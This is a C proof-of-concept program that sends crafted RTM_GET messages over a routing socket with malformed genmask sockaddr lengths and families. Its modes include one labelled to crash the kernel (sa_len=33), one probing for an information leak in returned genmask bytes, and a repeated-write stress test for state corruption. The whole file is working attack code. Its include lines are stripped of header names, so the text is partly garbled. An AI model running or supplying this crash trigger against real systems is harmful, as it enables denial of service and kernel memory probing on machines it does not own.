#include #include #include #include #include #include #include #include #include #include #define RTM_VERSION 5 #define RTM_GET 4 struct rt_metrics { uint32_t rmx_locks, rmx_mtu, rmx_hopcount; int32_t rmx_expire; uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh; uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state; uint32_t rmx_filler[3]; }; struct rt_msghdr { unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type; unsigned short rtm_index; int rtm_flags; int rtm_addrs; int rtm_pid; int rtm_seq; int rtm_errno; int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx; }; static void test_genmask(int gm_family, int gm_len, const char *label) { int fd = socket(PF_ROUTE, SOCK_RAW, 0); if (fd < 0) { printf("[%s] socket fail\n", label); return; } char buf[2048]; memset(buf, 0, sizeof(buf)); struct rt_msghdr *rtm = (struct rt_msghdr *)buf; rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION; rtm->rtm_seq = 1; rtm->rtm_addrs = 0x09; int off = sizeof(*rtm); struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off); dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst); dst->sin_addr.s_addr = inet_addr("8.8.8.8"); off += sizeof(*dst); buf[off] = gm_len; buf[off+1] = gm_family; int padded = (gm_len + 3) & ~3; if (padded < 4) padded = 4; off += padded; rtm->rtm_msglen = off; ssize_t s = write(fd, buf, rtm->rtm_msglen); printf("[%s] fam=%d len=%d write=%zd e=%d", label, gm_family, gm_len, s, s<0?errno:0); if (s > 0) { struct timeval tv = {.tv_sec = 0, .tv_usec = 200000}; setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); ssize_t r = read(fd, buf, sizeof(buf)); if (r > 0) { struct rt_msghdr *resp = (struct rt_msghdr *)buf; printf(" read=%zd type=%u err=%d addrs=0x%x", r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs); if (resp->rtm_addrs & 0x08) { printf(" GENMASK_IN_RESP!"); int sa_off = sizeof(*resp); for (int bit = 0; bit < 3; bit++) { if (resp->rtm_addrs & (1 << bit)) { int sa_l = (unsigned char)buf[sa_off]; sa_off += (sa_l + 3) & ~3; } } if (sa_off < r) { int gm_resp_len = (unsigned char)buf[sa_off]; printf(" gm_sa_len=%d", gm_resp_len); printf(" gm_data="); for (int i = 0; i < gm_resp_len && sa_off+i < r && i < 32; i++) printf("%02x", (unsigned char)buf[sa_off+i]); } } } } printf("\n"); close(fd); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGPIPE, SIG_IGN); if (argc < 2) { printf("Usage: %s \n"); printf(" 1 = Different families with sa_len=16 (safe)\n"); printf(" 2 = Repeated writes sa_len=32 (safe, check state corruption)\n"); printf(" 3 = sa_len=33 crash with different families\n"); printf(" 4 = Read back after safe write (info leak check)\n"); return 1; } int test = atoi(argv[1]); switch (test) { case 1: printf("=== Different families, sa_len=16 (safe range) ===\n"); test_genmask(0, 16, "AF_UNSPEC"); test_genmask(2, 16, "AF_INET"); test_genmask(30, 16, "AF_INET6"); test_genmask(18, 16, "AF_LINK"); test_genmask(255, 16, "AF_MAX"); test_genmask(1, 16, "AF_UNIX"); break; case 2: printf("=== Repeated safe writes (sa_len=32) — check for state corruption ===\n"); for (int i = 0; i < 100; i++) { test_genmask(2, 32, "repeat"); } printf("Survived 100 iterations\n"); printf("\n=== Now check if routing still works ===\n"); { int fd = socket(PF_ROUTE, SOCK_RAW, 0); char buf[256]; memset(buf, 0, sizeof(buf)); struct rt_msghdr *rtm = (struct rt_msghdr *)buf; rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION; rtm->rtm_seq = 999; rtm->rtm_addrs = 0x01; struct sockaddr_in *dst = (struct sockaddr_in *)(buf + sizeof(*rtm)); dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst); dst->sin_addr.s_addr = inet_addr("1.1.1.1"); rtm->rtm_msglen = sizeof(*rtm) + sizeof(*dst); ssize_t s = write(fd, buf, rtm->rtm_msglen); ssize_t r = read(fd, buf, sizeof(buf)); printf("Post-stress RTM_GET 1.1.1.1: write=%zd read=%zd err=%d\n", s, r, r>0?((struct rt_msghdr*)buf)->rtm_errno:-1); close(fd); } break; case 3: printf("=== sa_len=33 with different families (ALL WILL CRASH) ===\n"); printf("Testing AF_UNSPEC first...\n"); test_genmask(0, 33, "AF_UNSPEC_33"); break; case 4: printf("=== Read back genmask after safe write ===\n"); test_genmask(2, 16, "write16"); printf("\nNow query the route and check if genmask appears in response:\n"); { int fd = socket(PF_ROUTE, SOCK_RAW, 0); char buf[512]; memset(buf, 0, sizeof(buf)); struct rt_msghdr *rtm = (struct rt_msghdr *)buf; rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION; rtm->rtm_seq = 2; rtm->rtm_addrs = 0x01; struct sockaddr_in *dst = (struct sockaddr_in *)(buf + sizeof(*rtm)); dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst); dst->sin_addr.s_addr = inet_addr("8.8.8.8"); rtm->rtm_msglen = sizeof(*rtm) + sizeof(*dst); ssize_t s = write(fd, buf, rtm->rtm_msglen); ssize_t r = read(fd, buf, sizeof(buf)); struct rt_msghdr *resp = (struct rt_msghdr *)buf; printf("RTM_GET response: %zd bytes addrs=0x%x\n", r, r>0?resp->rtm_addrs:0); if (r > 0 && (resp->rtm_addrs & 0x08)) { printf("GENMASK present in response! Parsing...\n"); int sa_off = sizeof(*resp); for (int bit = 0; bit < 3; bit++) { if (resp->rtm_addrs & (1 << bit)) { int sa_l = (unsigned char)buf[sa_off]; if (sa_l == 0) sa_l = 4; sa_off += (sa_l + 3) & ~3; } } printf("Genmask at offset %d: ", sa_off); for (int i = 0; i < 32 && sa_off+i < r; i++) printf("%02x", (unsigned char)buf[sa_off+i]); printf("\n"); } else { printf("No GENMASK in response (rt->rt_genmask is NULL for this route)\n"); } close(fd); } break; } printf("\nSURVIVED\n"); return 0; }